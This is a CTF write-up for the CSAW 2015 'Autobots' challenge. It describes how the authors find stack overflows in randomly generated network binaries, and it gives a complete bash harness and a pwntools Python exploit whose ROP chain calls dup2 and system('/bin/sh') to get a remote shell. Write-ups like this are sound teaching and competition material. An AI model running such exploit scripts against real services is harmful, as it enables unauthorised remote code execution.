Tower of Hanoi

CSAW 2015 - Autobots

by on under CSAW2015
6 minute read ·

I hear bots are playing ctfs now. Note: Aslr has now been disabled for this challenge

The challenge did not provide any binary but just a remote service. Connecting to the remote service we got an ELF:

$ nc 52.20.10.244 8888 > binary
$ file binary
binary: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c9977e6ab77d506a99fd04551f255e27198584db, not stripped

Decompiling we easily found out that the executable spawned another service reading our input and writing back to the socket the same input.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax@1
  int result; // eax@1
  __int64 v5; // [sp-100h] [bp-100h]@1
  __int64 v6; // [sp-F0h] [bp-F0h]@1
  int v7; // [sp-8h] [bp-8h]@1
  int v8; // [sp-4h] [bp-4h]@1

  v8 = socket(2, 1, 0);
  memset(&v5, 0, 0x10uLL);
  LOWORD(v5) = 2;
  HIDWORD(v5) = htons(0);
  WORD1(v5) = htons(0x5155u);
  bind(v8, (const struct sockaddr *)&v5, 0x10u);
  listen(v8, 10);
  v7 = accept(v8, 0LL, 0LL);
  read(v7, &v6, 0x13BuLL);
  v3 = strlen((const char *)&v6);
  write(v7, &v6, v3 + 1);
  sub_40086F();
  return result;
}

We noticed that the executables provided by the server were always different and ran on the remote host for about 1 second. Downloading more binaries we noted that the only differences in the binaries were the service port, the dimension of the buffer, and the number of bytes read.
These parameters were randomly generated, leading sometimes to a buffer overflow. Hence, the idea was to query the server until a vulnerable executable is generated.

$ checksec.sh --file binary
RELRO           STACK CANARY      NX           PIE      RPATH      RUNPATH     FILE
Partial RELRO   No canary found   NX enabled   No PIE   No RPATH   No RUNPATH  binary 

NX was enabled on the binaries but there was no canary. Let’s ROP!

We grabbed libc from the server hosting Exploitables250 in the hope that it was the same also for this challenge, and it was. The challenge description stated ASLR had been disabled, so we did not need any memory leak to obtain a reference to the libc.

We wrote a bash script to download the executables, parse the output of objdump, grep the randomly generated parameters, and pass them to the python exploit.

#!/bin/bash

HOST=52.20.10.244
PORT=8888

while true; do
    nc ${HOST} ${PORT} > qweqwe
    NEW_PORT=`objdump -d qweqwe | grep -n1 htons | tail -3 | head -1 | grep -o -P '(?<=0x).*(?=,)'`
    BUFF_SIZE=`objdump -d qweqwe | grep lea | tail -4 | head -1 | grep -o -P '(?<=0x).*(?=\()'`
    READ_SIZE=`objdump -d qweqwe | grep mov | tail -n15 | head -1 | grep -o -P '(?<=0x).*(?=,)'`

    NEW_PORT_INT=`printf "%d\n" 0x${NEW_PORT}`
    BUFF_SIZE_INT=`printf "%d\n" 0x${BUFF_SIZE}`
    READ_SIZE_INT=`printf "%d\n" 0x${READ_SIZE}`

    python exploit.py $NEW_PORT_INT $BUFF_SIZE_INT $READ_SIZE_INT
done

The python exploit simply checks if the service is vulnerable and, if so, builds the ROP chain to execute system("/bin/sh"). We used ropper to find the gadgets in the libc. Since our input was bound to the socket we called dup2 to attach the socket to stdin/stdout.

Flag: flag{c4nt_w4it_f0r_cgc_7h15_y34r}.

from pwn import *
from binascii import hexlify
import sys

host = '52.20.10.244'
port = int(sys.argv[1])
buff_size = int(sys.argv[2])
read_size = int(sys.argv[3])

if read_size <= buff_size + 160:
    exit()

print "VULNERABLE!"

conn = remote(host, port)

read_ref = 0x00007ffff7b00800 # address of read in libc
read_offset = 0xeb800 # offset of read in libc

binsh_offset = 0x17ccdb
gadget_offset = 0x22b1a     # pop rdi
gadget2_offset = 0x24805    # pop rsi
dup2_offset = 0xebfe0
system_offset = 0x46640

my_fd = 6 # file descriptor

payload = "A"*(buff_size + 8)

# ROP chain
payload += p64(read_ref - read_offset + gadget_offset)
payload += p64(my_fd)
payload += p64(read_ref - read_offset + gadget2_offset)
payload += p64(0)
payload += p64(read_ref - read_offset + dup2_offset)

payload += p64(read_ref - read_offset + gadget_offset)
payload += p64(my_fd)
payload += p64(read_ref - read_offset + gadget2_offset)
payload += p64(1)
payload += p64(read_ref - read_offset + dup2_offset)

payload += p64(read_ref - read_offset + gadget_offset)
payload += p64(read_ref - read_offset + binsh_offset)
payload += p64(read_ref - read_offset + system_offset)

conn.send(payload)

conn.interactive()
CSAW, Exploitables, ROP
comments powered by Disqus